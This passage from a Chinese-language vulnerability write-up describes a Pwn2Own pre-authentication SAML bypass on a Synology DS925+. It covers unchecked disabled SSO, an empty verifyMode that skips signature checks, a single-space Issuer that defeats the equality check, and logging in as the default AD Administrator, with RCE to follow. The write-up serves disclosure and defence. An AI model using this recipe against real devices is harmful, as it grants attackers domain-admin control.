leaf="">追踪执行流程，没有任何地方检查 SAML SSO 是否实际启用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从这里开始，我们只需要构造一个合法的 SAML Response。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">verifySamlResponse</span></code><span leaf="">中检查的大多数元素只是表面验证，很容易满足。唯一的例外是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Issuer</span></code><span leaf="">，在第 8 步检查（在第 10b 步对每个 Assertion 有类似条件），它必须非空。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Image 5" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013166" data-ratio="0.016666666666666666" style="max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=babc523d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShvhzJqBnduoWsTic0A1SIfic0068cKa0iaDRicV3LUIlZ6p0QDL0Rt5sCa81HSmqoY4kp6odnz8X3yG0wBx3IN2FjH8oHarutuqPQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此后，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Issuer</span></code><span leaf="">必须通过与从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSOSAMLClient</span></code><span leaf="">获取的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Issuer</span></code><span leaf="">的比较。由于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSOSAMLClient</span></code><span leaf="">的 Issuer 值将为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&#34;&#34;</span></code><span leaf="">，我们在 SAML Response 中提供的 Issuer 值也必须等于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&#34;&#34;</span></code><span leaf="">。一个同时为空和非空的 Issuer 不可能存在。然而，幸运的是，Issuer 在比较之前会经过 trim 处理：<img alt="Image 6" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013171" data-ratio="0.4742489270386266" style="max-width: 100%;" data-type="png" data-w="932" src="https://wechat2rss.xlab.app/img-proxy/?k=c1ed2b0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShLPUiaPric4K0IBss5tqQVLbIs2jo5XIbL6JFyeSaItDXATOaF2UdIduZNLuRrJ1JT4HGNkMu6ic2zs0O6rX4JHUW7VrdCsvD5Fw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/> 在这种情况下，只包含一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&lt;空格&gt;</span></code><span leaf="">的 Issuer 值将满足条件，并在经过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">trim()</span></code><span leaf="">函数后变为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&#34;&#34;</span></code><span leaf="">。<img alt="Image 7" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013173" data-ratio="0.16730038022813687" style="max-width: 100%;" data-type="png" data-w="1052" src="https://wechat2rss.xlab.app/img-proxy/?k=7e3e0487&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShWQ3g3jym8ceOmux2u9icHtH7KlauSD0MEiby7yib1HP6HNML1XrouLrWujQO2iaQrgoxa1RXWs0ZzMjCWdI4NeuyWYZv6tiblcqGI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/>此时，这只是 C++ 中标准的字符串比较。由于两个值现在都是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&#34;&#34;</span></code><span leaf="">，我们自然通过了这个检查。尽管我们现在已经满足了所有要求，但登录仍然会失败：<img alt="Image 8" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013172" data-ratio="0.023454157782515993" style="max-width: 100%;" data-type="png" data-w="938" src="https://wechat2rss.xlab.app/img-proxy/?k=a55138b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgoZ3EoZYcMPdkFhEViaaIlE2baURqN4wMao9FhicCYSDQ8DibIg70pyXSSnTCYxFnNVNQFMXZEUXvjCyyhw8YBnA4X7vCB5N2y8o%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/>这是由于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">samlAuth</span></code><span leaf="">中第 </span><span leaf="">3</span><span leaf="">步的检查：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">bool</span></span><span leaf=""> qualified = std::strchr(samlUser.c_str(), </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">		  || std::strchr(samlUser.c_str(), </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;@&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!qualified &amp;&amp; !client.m_allowLocalUser) {     </span><span style="color: rgb(106, 115, 125);"><span leaf="">// [3]</span><span leaf=""><br/></span></span><span style="color: rgb(0, 92, 197);"><span leaf="">syslog</span></span><span leaf="">(LOG_ERR, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d user is local:  %s, %s&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_auth.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">40</span></span><span leaf="">, samlUser.</span><span style="color: rgb(0, 92, 197);"><span leaf="">c_str</span></span><span leaf="">(), realName);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSOSAMLClient</span></code><span leaf="">中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">saml_match_local_user</span></code><span leaf="">当前设置为 false，这意味着此时我们只能登录 LDAP 或 AD（Active Directory）账户。根据 ZDI 的要求，提供预先已知的用户名被认为是不切实际的，因此不可接受。然而，ZDI 确实接受默认 AD 管理员账户遵循 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&lt;NetBIOS&gt;/Administrator</span></code><span leaf="">格式这一事实。NetBIOS 名称可以通过在 Synology NAS 上枚举轻松获取。一旦以管理员身份成功登录，就有多种方式利用各种管理员特权功能实现 RCE。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">完整图景</span></strong></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">整个漏洞是一系列小假设的完美串联。以下是端到端的完整面貌。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SAML 端点即使在 SAML SSO 从未配置过的情况下也是活跃的。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">samlAuth</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSOSAMLClient</span></code><span leaf="">构造函数和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">verifySamlResponse</span></code><span leaf="">中都没有检查该功能是否实际启用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">缺失的配置静默退化为不安全的默认值。如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/usr/syno/etc/ssoclient/saml.conf</span></code><span leaf="">不存在，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">readSAMLConfig</span></code><span leaf="">返回 false，构造函数提前退出，所有字段保持零值：空字符串和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">false</span></code><span leaf="">。这意味着 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">verifyMode</span></code><span leaf="">为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&#34;&#34;</span></code><span leaf="">，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">saml_match_local_user</span></code><span leaf="">为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">false</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">意外的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">verifyMode</span></code><span leaf="">值完全禁用了签名验证。检查仅在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">verifyMode</span></code><span leaf="">为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&#34;response&#34;</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&#34;assertion&#34;</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&#34;both&#34;</span></code><span leaf="">之一时执行。开发者没有处理 fallthrough 情况，因此 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">verifyMode == &#34;&#34;</span></code><span leaf="">完全跳过了签名检查。你可以伪造一个没有有效签名的 SAML Response。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">唯一的严格检查被规范化击败。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Issuer</span></code><span leaf="">必须非空，但也必须等于客户端的 Issuer，即 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&#34;&#34;</span></code><span leaf="">。这看起来是矛盾的——直到你看到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Issuer</span></code><span leaf="">在比较前会经过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">trim()</span></code><span leaf="">处理。一个单空格的 Issuer 通过了非空检查，然后塌缩为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&#34;&#34;</span></code><span leaf="">，同时满足两个条件。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后一道关卡缩小了目标但并未关闭它。由于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">saml_match_local_user</span></code><span leaf="">设置为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">false</span></code><span leaf="">，本地账户被拒绝，只允许包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">\</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">@</span></code><span leaf="">的用户名（LDAP/AD 用户）。默认 AD 管理员 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">&lt;NetBIOS&gt;\Administrator</span></code><span leaf="">符合条件，而 NetBIOS 名称在 Synology NAS 上可以轻易枚举得到。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在任何从未启用 SAML SSO（默认状态）且使用 AD 或 LDAP 的 Synology DS925+ 系统上，未经身份验证的攻击者可以伪造一个未签名的 SAML Response，完全跳过身份验证，并以域管理员身份登录。RCE 随之可通过任何管理员特权功能实现。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">根本原因不是某一行代码。一个被禁用的功能仍然可达。配置加载失败时默认为不安全的值而非拒绝继续。未被识别的验证模式被视为&#34;跳过验证&#34;而非&#34;拒绝&#34;。每个假设都很小。但合在一起，它们构成了一个完整的预认证绕过。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="Image 9" class="rich_pages wxw-img" data-ratio="0.7305555555555555" data-type="png" data-w="1080" style="max-width: 100%;" data-imgfileid="100013175" src="https://wechat2rss.xlab.app/img-proxy/?k=3db0f7f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjrtDPtuKBdpCUVEicjo18Qkl6hNmOtR9V8XE3OFZkDTEEiaSwQmXrvwByQGibvoBxclOV5g6TvMM81gEo9icJzLpp3lVzjpvAyh1E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">结语</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">虽然有点遗憾——我发现漏洞的时间太晚，来不及办好签证到现场体验比赛氛围，但这对我来说仍然是一次成功的 Pwn2Own 参与。感谢 @ngocquy0307 在挖洞过程中的合作和大量支持，感谢 @tuo4n8 在整个比赛期间的支持，感谢 @lemauanhphong 帮助我将这个漏洞带到比赛中，最后同样重要的是，衷心感谢 Verichains 支持我参加比赛。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: 